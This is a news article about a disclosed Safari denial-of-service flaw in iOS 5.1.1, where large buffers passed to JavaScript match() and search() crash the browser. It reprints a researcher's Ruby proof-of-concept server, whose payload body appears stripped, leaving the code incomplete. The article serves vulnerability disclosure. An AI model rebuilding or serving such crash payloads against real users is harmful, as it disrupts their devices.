Denial of service found in iOS 5.1.1

Powered by SC Magazine
 

Crashes updated iPads, iPhones.

A denial of service attack has been disclosed in the latest version of Apple iOS.

The attack targets Safari in iOS 5.1.1 and a proof of concept was published online.

Alienvault security researcher Alberto Ortega said the attack may also affect previous versions of the Apple operating system.

The attack was successfully demonstrated on iPhone, iPad and iPod Touch.

Ortega told SC Magazine the error was a "step to achieve a real exploitation".

"iOS has a lot of mitigations to avoid successful exploitation," Ortega said. "This software has errors and holes but you will need to bypass those hard mitigations and find more weaknesses  to have something "usable'."

Ortega reported the error to Apple at the time of disclosure but had no response from the notoriously security silent company.

“When JavaScript function match() gets a big buffer as parameter the browser unexpectedly crashes. By extension, the function search() is affected too,” Ortega said in the advisory.

require "socket"
require "optparse"

# Buffer values
chr = "A"
# The size of buffer needed may vary depending
# on the device and the iOS version.
buffer_len = 925000

# Magic packet
body = "\
\n\
Crash PoC\n\
\n\
";

def help()
  puts "iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC"
  puts "#{$0} -p bind_port [-h bind_address] [--verbose]"
end

# Parsing options
opts = {}
optparser = OptionParser.new do |op|
  op.on("-h", "--host HOST") do |p|
    opts["host"] = p
  end
  op.on("-p", "--port PORT") do |p|
    opts["port"] = p
  end
  op.on("-v", "--verbose") do |p|
    opts["verbose"] = true
  end
end

begin
  optparser.parse!
rescue
  help()
  exit 1
end

if (opts.length == 0 || opts["port"] == nil)
  help()
  exit 1
end

if (opts["verbose"] != nil)
  debug = true
else
  debug = false
end
if (opts["host"] != nil)
  host = opts["host"]
else
  host = "0.0.0.0"
end
port = opts["port"]

# Building server
if debug
  puts "Buffer -> #{chr}*#{buffer_len}"
end

begin
  serv = TCPServer.new(host, port)
  puts "Listening on #{host}:#{port.to_s} ..."
rescue
  puts "Error listening on #{host}:#{port.to_s}"
  exit 1
end

begin
  s = serv.accept()
  if debug
    puts "Client connected, waiting petition ..."
  end
  data = s.recv(1000)
  if debug
    puts "Sending crafted packet ..."
  end
  s.print(body)
  if debug
    puts "Closing connection ..."
  end
  s.close()
  puts "Done!"
rescue
  puts "Error sending data"
  exit 1

end

Copyright © SC Magazine, Australia


Denial of service found in iOS 5.1.1
 
 
 
Top Stories
Westpac interim CIO resigns
Group CIO yet to be appointed.
 
Earning the right to innovate
Breaking down the barriers to innovation is a long, but rewarding process, says Bank of Queensland Group CIO, Julie Bale.
 
A call for timely reporting
[Blog post] Businesses need incentives to keep customer data secure.
 
 
Sign up to receive iTnews email bulletins
   FOLLOW US...
Latest Comments
Polls
What is delaying adoption of public cloud in your organisation?







   |   View results
Lock-in concerns
  26%
 
Application integration concerns
  3%
 
Security and compliance concerns
  28%
 
Unreliable network infrastructure
  9%
 
Data sovereignty concerns
  23%
 
Lack of stakeholder support
  3%
 
Protecting on-premise IT jobs
  5%
 
Difficulty transitioning CapEx budget into OpEx
  3%
TOTAL VOTES: 897

Vote